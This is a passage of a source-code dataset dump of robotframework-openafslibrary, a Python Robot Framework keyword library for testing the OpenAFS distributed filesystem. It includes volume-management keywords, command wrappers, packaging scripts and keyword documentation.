int(m.group(1))\n total = int(m.group(2))\n used = total - free\n info['part'] = {'free':free, 'used':used, 'total':total}\n return info\n\ndef get_volume_entry(name_or_id):\n info = {'locked':False}\n out = vos('listvldb', '-name', name_or_id, '-quiet', '-noresolve', '-noauth')\n for line in out.splitlines():\n m = re.search(r'^(\\S+)', line)\n if m:\n info['name'] = m.group(1)\n m = re.search(r'RWrite: (\\d+)', line)\n if m:\n info['rw'] = m.group(1)\n m = re.search(r'ROnly: (\\d+)', line)\n if m:\n info['ro'] = m.group(1)\n m = re.search(r'Backup: (\\d+)', line)\n if m:\n info['bk'] = m.group(1)\n m = re.match(r'\\s+server (\\S+) partition /vicep(\\S+) RW Site', line)\n if m:\n info['server'] = m.group(1)\n info['part'] = m.group(2)\n m = re.match(r'\\s+server (\\S+) partition /vicep(\\S+) RO Site', line)\n if m:\n server = m.group(1)\n part = m.group(2)\n if 'rosites' not in info:\n info['rosites'] = []\n info['rosites'].append((server, part))\n m = re.match(r'\\s*Volume is currently LOCKED', line)\n if m:\n info['locked'] = True\n m = re.match(r'\\s*Volume is locked for a (\\S+) operation', line)\n if m:\n info['op'] = m.group(1)\n return info\n\ndef get_parts(server):\n \"\"\"Get the server partitions.\"\"\"\n parts = []\n for line in vos('listpart', server).splitlines():\n line = line.strip()\n if line.startswith(\"The partitions\"):\n continue\n if line.startswith(\"Total\"):\n continue\n for part in line.split():\n parts.append(part.replace(\"/vicep\", \"\"))\n return parts\n\ndef release_parent(path):\n ppath = os.path.dirname(path)\n info = examine_path(ppath)\n parent = get_volume_entry(info['vid'])\n if 'ro' in parent:\n vos('release', parent['name'], '-verbose')\n fs(\"checkvolumes\")\n\ndef _zap_volume(name_or_id, server, part):\n try:\n vos('zap', '-id', name_or_id, '-server', server, '-part', part);\n except NoSuchEntryError:\n logger.info(\"No such volume to zap\")\n\nclass _VolumeKeywords(object):\n \"\"\"Volume keywords.\"\"\"\n\n def create_volume(self, name, server=None, part='a', path=None, quota='0', ro=False, acl=None, orphan=False):\n \"\"\"Create and mount a volume.\n\n Create a volume and optionally mount the volume. Also optionally create\n a read-only clone of the volume and release the new new volume. Release the\n parent volume if it is replicated.\n \"\"\"\n vid = None\n if not name:\n raise AssertionError(\"volume name is required!\")\n if server is None or server == '': # use this host\n server = socket.gethostname()\n if path:\n path = os.path.abspath(path)\n if not path.startswith('/afs'):\n raise AssertionError(\"Path not in '/afs'.\")\n out = vos('create', '-server', server, '-partition', part, '-name', name, '-m', quota, '-verbose')\n for line in out.splitlines():\n m = re.match(r'Volume (\\d+) created on partition', line)\n if m:\n vid = m.group(1)\n break\n if vid is None:\n raise AssertionError(\"Created volume id not found!\")\n if path:\n fs('mkmount', '-dir', path, '-vol', name)\n if acl:\n fs('setacl', '-dir', path, '-acl', *acl.split(','))\n if ro:\n vos('addsite', '-server', server, '-partition', part, '-id', name)\n vos('release', name, '-verbose')\n if path:\n release_parent(path)\n if orphan:\n # Intentionally remove the vldb entry for testing!\n vos('delent', '-id', vid)\n return vid\n\n def remove_volume(self, name_or_id, path=None, flush=False, server=None, part=None, zap=False):\n \"\"\"Remove a volume.\n\n Remove the volume and any clones. Optionally remove the given mount point.\n \"\"\"\n if name_or_id == '0':\n logger.info(\"Skipping remove for volume id 0\")\n return\n volume = None\n if path and os.path.exists(path):\n path = os.path.abspath(path)\n if not path.startswith('/afs'):\n raise AssertionError(\"Path not in '/afs': %s\" % (path))\n if flush:\n fs(\"flush\", path)\n fs('rmmount', '-dir', path)\n release_parent(path)\n try:\n volume = get_volume_entry(name_or_id)\n except NoSuchEntryError:\n logger.info(\"No vldb entry found for volume '%s'\" % name_or_id)\n if volume:\n if 'rosites' in volume:\n for server,part in volume['rosites']:\n vos('remove', '-server', server, '-part', part, '-id', \"%s.readonly\" % name_or_id)\n vos('remove', '-id', name_or_id)\n fs(\"checkvolumes\")\n elif zap:\n if not server:\n server = socket.gethostname()\n if part:\n try:\n vos('zap', '-id', name_or_id, '-server', server, '-part', part);\n except NoSuchEntryError:\n logger.info(\"No volume {name_or_id} to zap on server {server} part {part}\".format(**locals()))\n else:\n for part in get_parts(server):\n try:\n vos('zap', '-id', name_or_id, '-server', server, '-part', part);\n except NoSuchEntryError:\n logger.info(\"No volume {name_or_id} to zap on server {server} part {part}\".format(**locals()))\n\n def mount_volume(self, path, vol, *options):\n \"\"\"\n Mount a volume on a path.\n \"\"\"\n fs('mkmount', '-dir', path, '-vol', vol, *options)\n\n def release_volume(self, name):\n \"\"\"\n Release the volume.\n \"\"\"\n vos('release', '-id', name, '-verbose')\n fs(\"checkvolumes\")\n\n def volume_should_exist(self, name_or_id):\n \"\"\"\n Verify the existence of a read-write volume.\n\n Fails if the volume entry is not found in the VLDB or the volume is\n not present on the fileserver indicated by the VLDB.\n \"\"\"\n volume = get_volume_entry(name_or_id)\n out = vos('listvol', '-server', volume['server'], '-partition', volume['part'], '-fast', '-noauth', '-quiet')\n for line in out.splitlines():\n vid = line.strip()\n if vid:\n if volume['rw'] == vid:\n return\n raise AssertionError(\"Volume id %s is not present on server '%s', partition '%s'\" %\n (volume['rw'], volume['server'], volume['part']))\n\n def volume_should_not_exist(self, name_or_id):\n \"\"\"\n Fails if volume exists.\n \"\"\"\n try:\n volume = get_volume_entry(name_or_id)\n except:\n volume = None\n if volume:\n raise AssertionError(\"Volume entry found in vldb for %s\" % (name_or_id))\n\n def volume_location_matches(self, name_or_id, server, part, vtype='rw'):\n \"\"\"\n Fails if volume is not located on the given server and partition.\n \"\"\"\n address = socket.gethostbyname(server)\n if vtype not in ('rw', 'ro', 'bk'):\n raise AssertionError(\"Volume type must be one of 'rw', 'ro', or 'bk'.\")\n volume = get_volume_entry(name_or_id)\n logger.info(\"volume: %s\" % (volume))\n if vtype not in volume:\n raise AssertionError(\"Volume type '%s' not found in VLDB for volume '%s'\" % (vtype, name_or_id))\n if vtype == 'ro':\n found = False\n for s,p in volume['rosites']:\n if s == address and p == part:\n found = True\n if not found:\n raise AssertionError(\"Volume entry does not contain ro site! %s:%s\" % (server, part))\n else:\n if volume['server'] != address or volume['part'] != part:\n raise AssertionError(\"Volume entry location does not match! expected %s:%s, found %s:%s\" %\n (address, part, volume['server'], volume['part']))\n out = vos('listvol', '-server', volume['server'], '-partition', volume['part'], '-fast', '-noauth', '-quiet')\n for line in out.splitlines():\n vid = line.strip()\n if vid:\n if volume[vtype] == vid:\n return\n raise AssertionError(\"Volume id %s is not present on server '%s', partition '%s'\" %\n (volume['rw'], volume['server'], volume['part']))\n\n def volume_should_be_locked(self, name):\n \"\"\"\n Fails if the volume is not locked.\n \"\"\"\n volume = get_volume_entry(name)\n if not volume['locked']:\n raise AssertionError(\"Volume '%s' is not locked.\" % (name))\n\n def volume_should_be_unlocked(self, name):\n \"\"\"\n Fails if the volume is locked.\n \"\"\"\n volume = get_volume_entry(name)\n if volume['locked']:\n raise AssertionError(\"Volume '%s' is locked.\" % (name))\n\n def get_volume_id(self, name):\n \"\"\"\n Lookup the volume numeric id.\n \"\"\"\n volume = get_volume_entry(name)\n return volume['rw']\n" }, { "alpha_fraction": 0.5416058301925659, "alphanum_fraction": 0.5839415788650513, "avg_line_length": 27.54166603088379, "blob_id": "e681cba61ef80ff36533d2f898513c26ea382e82", "content_id": "d7cbc37998dc121b56ecf0788dff114f01c0af5e", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 685, "license_type": "permissive", "max_line_length": 89, "num_lines": 24, "path": "/version.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport os\n\ndef version():\n \"\"\"Determine the version number from the most recent git tag.\n\n Convert the version string from git describe into a PEP 440 compliant\n version string by using the '+' separator to append a \"local version\"\n identifier.\n\n $ git describe\n v0.7.2-11-gf0c8024\n $ python3 version.py\n VERSION = '0.7.2+11.gf0c8024'\n \"\"\"\n try:\n with os.popen('git describe') as f:\n version = f.read().strip().lstrip('v').replace('-', '+', 1).replace('-', '.')\n except Exeception:\n version = '0.0.0'\n return version\n\nif __name__ == '__main__':\n print(\"VERSION = '%s'\" % version())\n" }, { "alpha_fraction": 0.7370370626449585, "alphanum_fraction": 0.7370370626449585, "avg_line_length": 44, "blob_id": "abdecd34652f661e256ce633999fe072ef532a27", "content_id": "986536449f970ce77514661c10d0da8fd1d36708", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 270, "license_type": "permissive", "max_line_length": 126, "num_lines": 6, "path": "/README.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "robotframework-openafslibrary\n=============================\n\n**robotframework-openafslibrary** is a Robot Framework test library for OpenAFS.\n\nDocumentation: `https://robotframework-openafslibrary.readthedocs.io <https://robotframework-openafslibrary.readthedocs.io/>`_\n" }, { "alpha_fraction": 0.7325186729431152, "alphanum_fraction": 0.7413442134857178, "avg_line_length": 41.08571243286133, "blob_id": "075f5ac84e239eb4b55bf1da56724cae36d51018", "content_id": "4f33f0e90a61b4c852a392507c54d45652e08ca2", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1473, "license_type": "permissive", "max_line_length": 80, "num_lines": 35, "path": "/OpenAFSLibrary/keywords/cache.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2017, Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport re\n\nfrom OpenAFSLibrary.command import fs\n\nclass _CacheKeywords(object):\n \"\"\"Cache keywords.\"\"\"\n\n def get_cache_size(self):\n \"\"\"Get the cache size.\n\n Outputs AFS cache size as the number of 1K blocks.\"\"\"\n s = fs(\"getcacheparms\") # get output string\n size = re.findall('\\d+', s) # find the decimal values in the string\n return int(size[1]) # output integer for number of 1K blocks\n" }, { "alpha_fraction": 0.6624000072479248, "alphanum_fraction": 0.6639999747276306, "avg_line_length": 20.55172348022461, "blob_id": "90c16302f189f97a378ac3ab8d36c61ccab63033", "content_id": "c3975ff70de40345f29c76a51ee2f84a073b4105", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 625, "license_type": "permissive", "max_line_length": 75, "num_lines": 29, "path": "/docs/source/index.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "robotframework-openafslibrary\n=============================\n\nThe **OpenAFS Library** provides keywords for testing the `OpenAFS`_\ndistributed filesystem with `Robot Framework`_. See the `openafs-robotest`_\nproject for a set of test cases using this library.\n\n.. toctree::\n :maxdepth: 1\n :caption: Contents:\n\n overview\n install\n variables\n keywords\n examples\n license\n\nIndices and tables\n==================\n\n* :ref:`genindex`\n* :ref:`search`\n\n.. _`OpenAFS`: https://www.openafs.org\n\n.. _`Robot Framework`: https://robotframework.org\n\n.. _`openafs-robotest`: https://github.com/openafs-contrib/openafs-robotest\n" }, { "alpha_fraction": 0.8725489974021912, "alphanum_fraction": 0.8725489974021912, "avg_line_length": 13.571428298950195, "blob_id": "62e09ef4a5f30dd64e75b84e8a46daabb1b7bb6d", "content_id": "016b5d09359a1543a33249a45b1902a625a84548", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 102, "license_type": "permissive", "max_line_length": 26, "num_lines": 7, "path": "/requirements.txt", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# development requirements\ncollective.checkdocs\npyflakes\ntwine\nrobotframework\nsphinx\nsphinx_rtd_theme\n" }, { "alpha_fraction": 0.571739137172699, "alphanum_fraction": 0.5760869383811951, "avg_line_length": 24.55555534362793, "blob_id": "6b5811f38c079cf8a4abd668a29e2e15b8977f47", "content_id": "d100a51f9631c796a2103b95b6586dff54464970", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 920, "license_type": "permissive", "max_line_length": 60, "num_lines": 36, "path": "/configure.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport os\nimport re\n\ndef which(program):\n \"\"\"Find a program in the PATH or return 'missing'.\"\"\"\n for path in os.environ['PATH'].split(os.pathsep):\n path = os.path.join(path.strip('\"'), program)\n if os.access(path, os.X_OK):\n if ' ' in path:\n path = '\"{0}\"'.format(path)\n return path\n return 'missing'\n\ndef name():\n \"\"\"Extract our name from the setup.py.\"\"\"\n setup = open('setup.py').read()\n match = re.search(r'NAME\\s*=\\s*[\\'\\\"](.*)[\\'\\\"]', setup)\n if match:\n return match.group(1)\n raise ValueError('NAME not found in setup.py.')\n\nNAME = name()\nPYTHON = which('python3')\nif PYTHON == 'missing':\n PYTHON = which('python')\nPIP = which('pip')\nINSTALL = 'pip' if PIP != 'missing' else 'setup'\n\nopen('Makefile.config', 'w').write(\"\"\"\\\nNAME={NAME}\nPIP={PIP}\nPYTHON={PYTHON}\nINSTALL={INSTALL}\n\"\"\".format(**locals()))\n" }, { "alpha_fraction": 0.6162570714950562, "alphanum_fraction": 0.6228733658790588, "avg_line_length": 28.36111068725586, "blob_id": "5c90dbb55619797fe64969f5249df6198e852951", "content_id": "bf56844548fb2dfe2fbd9d73a30a098a0380254d", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1058, "license_type": "permissive", "max_line_length": 75, "num_lines": 36, "path": "/setup.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "try:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup # Fallback to distutils.\n\nNAME = 'robotframework_openafslibrary'\nexec(open('OpenAFSLibrary/__version__.py').read()) # get VERSION\n\nsetup(\n name=NAME,\n version=VERSION,\n description='Robot Framework test library for OpenAFS',\n long_description=open('README.rst').read(),\n author='Michael Meffie',\n author_email='[email protected]',\n url='https://github.com/openafs-contrib/robotframework-openafslibrary',\n license='BSD',\n packages=[\n 'OpenAFSLibrary',\n 'OpenAFSLibrary.keywords',\n ],\n install_requires=[\n 'robotframework>=2.7.0',\n ],\n zip_safe=False,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development',\n ],\n)\n\n" }, { "alpha_fraction": 0.7049480676651001, "alphanum_fraction": 0.7110568284988403, "avg_line_length": 42.05263137817383, "blob_id": "859a10761bc36092a00a48f6015a9b550d521c83", "content_id": "78de9239f375c62295cf53544dc6106a34106313", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1637, "license_type": "permissive", "max_line_length": 80, "num_lines": 38, "path": "/OpenAFSLibrary/keywords/rx.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nfrom OpenAFSLibrary.command import rxdebug\n\n\nclass _RxKeywords(object):\n\n def get_version(self, host, port):\n \"\"\"Request the software version number.\"\"\"\n version = None\n output = rxdebug('-servers', host, '-port', port, '-version')\n for line in output.splitlines():\n if line.startswith(\"Trying\"):\n continue\n if line.startswith(\"AFS version:\"):\n version = line.replace(\"AFS version:\", \"\").strip()\n if not version:\n raise AssertionError(\"Failed to get version string.\")\n return version\n\n" }, { "alpha_fraction": 0.6857602000236511, "alphanum_fraction": 0.6921841502189636, "avg_line_length": 42.41860580444336, "blob_id": "ce7bd7e84475d7966b602b98752892d70178f9d2", "content_id": "0674de0a498311feb493e0d55910aaf44acd20ac", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1868, "license_type": "permissive", "max_line_length": 80, "num_lines": 43, "path": "/OpenAFSLibrary/keywords/command.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015, Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nfrom robot.api import logger\nfrom OpenAFSLibrary.command import run_program\n\nclass _CommandKeywords(object):\n def command_should_succeed(self, cmd, msg=None):\n \"\"\"Fails if command does not exit with a zero status code.\"\"\"\n rc,out,err = run_program(cmd)\n logger.info(\"Output: \" + out)\n logger.info(\"Error: \" + err)\n if rc != 0:\n if not msg:\n msg = \"Command Failed! %s\" % cmd\n raise AssertionError(msg)\n\n def command_should_fail(self, cmd):\n \"\"\"Fails if command exits with a zero status code.\"\"\"\n rc,out,err = run_program(cmd)\n logger.info(\"Output: \" + out)\n logger.info(\"Error: \" + err)\n logger.info(\"Code: %d\" % rc)\n if rc == 0:\n raise AssertionError(\"Command should have failed: %s\" % cmd)\n\n" }, { "alpha_fraction": 0.6483064293861389, "alphanum_fraction": 0.654321014881134, "avg_line_length": 34.099998474121094, "blob_id": "5bd09d4ff68bb0dcc8ac50e566849b598b5fc30d", "content_id": "b4cee32b0c639b5a588e4d134500e4d8d58e68d3", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3159, "license_type": "permissive", "max_line_length": 106, "num_lines": 90, "path": "/OpenAFSLibrary/command.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport subprocess\nfrom robot.api import logger\nfrom OpenAFSLibrary.variable import get_var\nfrom OpenAFSLibrary.six import string_types, PY2\n\nclass CommandFailed(Exception):\n def __init__(self, name, args, err):\n self.name = name\n self.err = err\n self.args = list(args)\n\n def __str__(self):\n msg = \"%s %s failed! %s\" % (self.name, self.args, self.err.strip())\n return repr(msg)\n\nclass NoSuchEntryError(CommandFailed):\n def __init__(self, args):\n CommandFailed.__init__(self, \"vos\", args, \"no such volume in the vldb\")\n\ndef run_program(args):\n if isinstance(args, string_types):\n cmd_line = args\n shell = True\n else:\n args = [str(a) for a in args]\n cmd_line = \" \".join(args)\n shell = False\n logger.info(\"running: %s\" % cmd_line)\n proc = subprocess.Popen(args, shell=shell, bufsize=-1, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout,stderr = proc.communicate()\n if proc.returncode:\n logger.info(\"output: %s\" % (stdout,))\n logger.info(\"error: %s\" % (stderr,))\n if PY2:\n output = stdout\n error = stderr\n else:\n output = stdout.decode('utf-8')\n error = stderr.decode('utf-8')\n return (proc.returncode, output, error)\n\ndef rxdebug(*args):\n rc,out,err = run_program([get_var('RXDEBUG')] + list(args))\n if rc != 0:\n raise CommandFailed('rxdebug', args, err)\n return out\n\ndef bos(*args):\n rc,out,err = run_program([get_var('BOS')] + list(args))\n if rc != 0:\n raise CommandFailed('bos', args, err)\n return out\n\ndef vos(*args):\n rc,out,err = run_program([get_var('VOS')] + list(args))\n if rc != 0:\n for line in err.splitlines():\n if \"VLDB: no such entry\" in line:\n raise NoSuchEntryError(args)\n if \"does not exist\" in line:\n raise NoSuchEntryError(args)\n raise CommandFailed('vos', args, err)\n return out\n\ndef fs(*args):\n rc,out,err = run_program([get_var('FS')] + list(args))\n if rc != 0:\n raise CommandFailed('fs', args, err)\n return out\n" }, { "alpha_fraction": 0.5098539590835571, "alphanum_fraction": 0.5142530202865601, "avg_line_length": 11.475301742553711, "blob_id": "9bb35588dc5c8d4aa108e604c23447d98667bcaf", "content_id": "fc84fd61980b17c18396be8790b782ebbb8c0f54", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 11366, "license_type": "permissive", "max_line_length": 80, "num_lines": 911, "path": "/docs/source/keywords.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "Keywords\n========\n\nVersion: 0.7.2\n\nAccess Control List Contains\n----------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - name\n - \n - required\n * - rights\n - \n - required\n\n**Documentation**\n\nFails if an ACL does not contain the given rights.\n\nAccess Control List Matches\n---------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - acls\n - \n - \n\n**Documentation**\n\nFails if an ACL does not match the given ACL.\n\nAccess Control Should Exist\n---------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - name\n - \n - required\n\n**Documentation**\n\nFails if the access control does not exist for the the given user or group name.\n\nAccess Control Should Not Exist\n-------------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - name\n - \n - required\n\n**Documentation**\n\nFails if the access control exists for the the given user or group name.\n\nAdd Access Rights\n-----------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - name\n - \n - required\n * - rights\n - \n - required\n\n**Documentation**\n\nAdd access rights to a path.\n\nCommand Should Fail\n-------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - cmd\n - \n - required\n\n**Documentation**\n\nFails if command exits with a zero status code.\n\nCommand Should Succeed\n----------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - cmd\n - \n - required\n * - msg\n - None\n - \n\n**Documentation**\n\nFails if command does not exit with a zero status code.\n\nCreate Dump\n-----------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - filename\n - \n - required\n * - size\n - small\n - \n * - contains\n - \n - \n\n**Documentation**\n\nGenerate a volume dump file.\n\nCreate Files\n------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - count\n - 1\n - \n * - size\n - 0\n - \n * - depth\n - 0\n - \n * - width\n - 0\n - \n * - fill\n - zero\n - \n\n**Documentation**\n\nCreate a directory tree of test files.\n\npath\n destination path\ncount\n number of files to create in each directory\nsize\n size of each file\ndepth\n sub-directory depth\nwidth\n number of sub-directories in each directory\nfill\n test files data pattern\n\nValid fill values:\n\n* zero - fill with zero bits\n* one - fill with one bits\n* random - fill with pseudo random bits\n* fixed - fill with repetitions of fixed bits\n\nCreate Volume\n-------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name\n - \n - required\n * - server\n - None\n - \n * - part\n - a\n - \n * - path\n - None\n - \n * - quota\n - 0\n - \n * - ro\n - False\n - \n * - acl\n - None\n - \n * - orphan\n - False\n - \n\n**Documentation**\n\nCreate and mount a volume.\n\nCreate a volume and optionally mount the volume. Also optionally create\na read-only clone of the volume and release the new new volume. Release the\nparent volume if it is replicated.\n\nDirectory Entry Should Exist\n----------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if directory entry does not exist in the given path.\n\nFile Should Be Executable\n-------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if path is not an executable file for the current user.\n\nGet Cache Size\n--------------\n\n**Documentation**\n\nGet the cache size.\n\nOutputs AFS cache size as the number of 1K blocks.\n\nGet Inode\n---------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nReturns the inode number of a path.\n\nGet Version\n-----------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - host\n - \n - required\n * - port\n - \n - required\n\n**Documentation**\n\nRequest the software version number.\n\nGet Volume Id\n-------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name\n - \n - required\n\n**Documentation**\n\nLookup the volume numeric id.\n\nInode Should Be Equal\n---------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - a\n - \n - required\n * - b\n - \n - required\n\n**Documentation**\n\nFails if paths have different inodes.\n\nLink\n----\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - src\n - \n - required\n * - dst\n - \n - required\n * - code_should_be\n - 0\n - \n\n**Documentation**\n\nCreate a hard link.\n\nLink Count Should Be\n--------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - count\n - \n - required\n\n**Documentation**\n\nFails if the path has an unexpected inode link 